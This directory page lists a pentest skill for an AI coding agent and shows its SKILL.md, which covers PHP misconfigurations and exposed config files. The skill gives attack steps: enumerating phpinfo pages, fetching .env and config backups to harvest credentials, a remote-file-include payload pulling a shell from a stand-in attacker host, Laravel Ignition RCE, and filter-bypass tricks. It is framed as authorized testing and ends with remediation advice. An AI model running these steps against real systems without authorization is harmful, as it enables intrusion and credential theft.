Skip to content
Back to skills

Php Config

ASecurity

Dangerous PHP configuration and exposed config files — register_globals, allow_url_include/allow_url_fopen, phpinfo() leakage, exposed .env/php.ini/wp-config, APP_DEBUG=true (Laravel Ignition CVE-2021-3129), and risky directives that enable LFI/RFI/RCE. Tier 1. Use when PHP is detected or config/debug artifacts are exposed.

  • 16 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added November 17, 2026
securityphpshelldockergitdatabasebackend

Works with

  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill php-config --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Php Config?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Php Config
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-php-config/badge)](https://www.skillsdirectory.com/skills/anandjogawade-php-config)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: php-config
description: Dangerous PHP configuration and exposed config files — register_globals, allow_url_include/allow_url_fopen, phpinfo() leakage, exposed .env/php.ini/wp-config, APP_DEBUG=true (Laravel Ignition CVE-2021-3129), and risky directives that enable LFI/RFI/RCE. Tier 1. Use when PHP is detected or config/debug artifacts are exposed.
---

# Dangerous PHP Config & Exposed Config Files

Misconfigured PHP directives and leaked config files turn ordinary bugs into RCE and hand attackers secrets. Enumerate directives (often via a leaked `phpinfo()`), then weaponize the dangerous ones.

## Trigger phrases
`php config, phpinfo, register_globals, allow_url_include, allow_url_fopen, php.ini, .env exposed, app_debug, laravel ignition, wp-config, disable_functions`

## Method
1. **Find `phpinfo()` pages:** `ffuf -w php-files -u URL/FUZZ` for `phpinfo.php`, `info.php`, `i.php`, `test.php`, `?phpinfo=1`; `nuclei -tags phpinfo`. Harvest from it: `allow_url_include`, `allow_url_fopen`, `register_globals`, `disable_functions`, `open_basedir`, `expose_php`, loaded extensions, abs paths, `SERVER_ADMIN`, env vars/secrets.
2. **Exposed config/secret files:** request `/.env`, `php.ini`, `.user.ini`, `wp-config.php.bak/.save/.old/~`, `config.php.bak`, `composer.json`/`.lock`, `.git/config`, `settings.php`, `docker-compose.yml`. `.env` leaks DB/APP_KEY/cloud creds.
3. **Weaponize dangerous directives:**
   - `allow_url_include=On` (+ `allow_url_fopen`) → **RFI**: an LFI/include sink becomes remote code include (`?page=http://attacker/shell.txt`, `data://`, `php://input`).
   - `allow_url_fopen=On` → SSRF/remote fetch via `file_get_contents`, `fopen`.
   - `register_globals=On` (legacy PHP<5.4) → variable injection / auth bypass.
   - Weak/empty `disable_functions` / `open_basedir` → `system`/`exec`/`proc_open` reachable once code injection is found; if set, check bypass gadgets.
4. **Laravel `APP_DEBUG=true` + Ignition (CVE-2021-3129):** debug error page leaks env/secrets; Ignition `<2.5.2` → unauth RCE via `solutions` endpoint (`phpggc` Monolog/Laravel chain + `file_get_contents`/log-poison). Confirm version, then safe PoC.

## Modern / rare techniques
- **PHP filter chains** (`php://filter` convert chains) turn a pure file-read/include into oracle-based file read or RCE — generate with `php_filter_chain_generator` (see `web-injection`/`web-ssrf`).
- **`.user.ini`/`auto_prepend_file`** if writable → persistent include of attacker file.
- **expose_php / `X-Powered-By`** version leak → feed `php-fpm-pathinfo`, `vulnerable-components`.

## Bypass / evasion
Config files often blocked by extension — try case, `..;/`, null-byte on legacy, backup suffixes, `/.%2e/`. `${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`.

## Escalation / chaining
RFI/filter-chain/Ignition → `code-injection`/`web-file-upload` RCE; leaked `.env` → `database-enumeration`, `jwt` (APP_KEY), `cloud-pentest`; phpinfo paths → LFI targeting.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP). ffuf/nuclei for discovery, phpggc for Ignition gadget, Burp Repeater. See `zazy-orchestrator`.

## Verification (background, before reporting)
Re-confirm leaks from a second request/vantage; for RFI/Ignition RCE prove with a benign command + OAST callback and reproduce. Report true positives only.

## Evidence
The exposed file/phpinfo URL with the dangerous directives highlighted, any leaked secret (redacted), and PoC for RFI/Ignition RCE. Remediation: remove phpinfo/debug in prod, `APP_DEBUG=false`, `allow_url_include=Off`, `expose_php=Off`, restrict `open_basedir`/`disable_functions`, deny access to dotfiles/backups, rotate leaked secrets, upgrade Ignition.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.